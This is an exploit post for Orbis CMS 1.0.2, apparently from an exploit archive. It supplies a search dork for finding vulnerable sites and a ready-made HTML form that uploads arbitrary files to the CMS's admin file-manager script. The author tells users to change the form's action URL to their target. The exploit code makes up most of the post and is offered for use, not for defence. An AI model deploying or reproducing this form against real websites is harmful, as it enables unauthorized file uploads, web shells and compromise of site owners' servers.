+-----------------------------------------+
# Exploit Title: Orbis CMS 1.0.2 Upload File Exploit
# Author: Dr.KroOoZ
# Software : http://www.novo-ws.com/orbis-cms/orbis-1.0.2.zip
# Tested on: Linux - Windows
# Dork : "Powered by Orbis CMS"
# Video : http://www.youtube.com/watch?v=3kCnLeYIk3M
+-----------------------------------------+
_ _ _ ___
| | | | | | / _ \
| |_ _ ___| |_ | |__ | | | |__ __
_ | | | | / __| __| | '_ \| | | |\ \/ /
| |__| | |_| \__ \ |_ | |_) | |_| | > <
\____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
+-----------------------------------------+
[-] Exploit :
<title># Upload ~ Just B0x3d </title>
<html>
<h1 style="position:relative; left:30px;" align="center">
<span style="font-weight: 400"><font face="Tahoma" size="2"># Just b0x :~</font></span></h1>
<h1 style="position:relative; left:30px;" align="center">
<font face="Tahoma" size="2" color="#FF0000"><span style="font-weight: 400">
Orbis CMS 1.0.2 Upload File Exploit :D</span></font></h1>
<form action="http://localhost/mm/orbis/admin/fileman_file_upload.php" method="post" enctype="multipart/form-data">
<p align="center"><font face="Tahoma" size="2">Just <font color="#FF0000">B0x3d</font> :
</font><font size="3" face="Tahoma">
<input align="Center" type="file" name="upload" class="txt" id="upload" size="23" /></font><font face="Tahoma"><font size="2">
</font><font size="3" face="Tahoma">
<input type="submit" name="Submit" value="Upload" onclick="document.getElementById('upl').style.visibility='visible'" /></font><font size="2">
</font> <font>
</p>
</form></font>
<p align="center"><font size="2">By : <font color="#008080">Dr.KroOoZ</font></font></p>
<p align="center"><font size="2">Greets To : <font color="#FF0000">b0x</font> :D </font></p>
<p align="center"><font size="2">Homepage :
<a href="http://www.d-k-t.tk" style="text-decoration: none">
<font color="#CC0000">www.d-k-t.tk</font></a> |
<a href="http://www.sec4ever.com" style="text-decoration: none">
<font color="#CC0000">www.sec4ever.com</font></a></font></p>
</html>
Don't Forget Change Action :D
+-----------------------------------------+
[»] Mail : Root@TTGSa.CoM
[»] Website : www.d-k-t.tk
+-----------------------------------------+
[»] Dream'z KilleR [ D.K ] :
[ Dr.KroOoZ - No-QRQR ]
+-----------------------------------------+
[»] Greetz to :
[ New KilleR & b0x & FoX HaCkeR & Sn!pEr.S!Te & Ales McGregor & HaNiBaL KSA & Alb0^ ]
[»] Spical Greetz :
[ http://sec4ever.com & http://1337Day.Com ]
+-----------------------------------------+
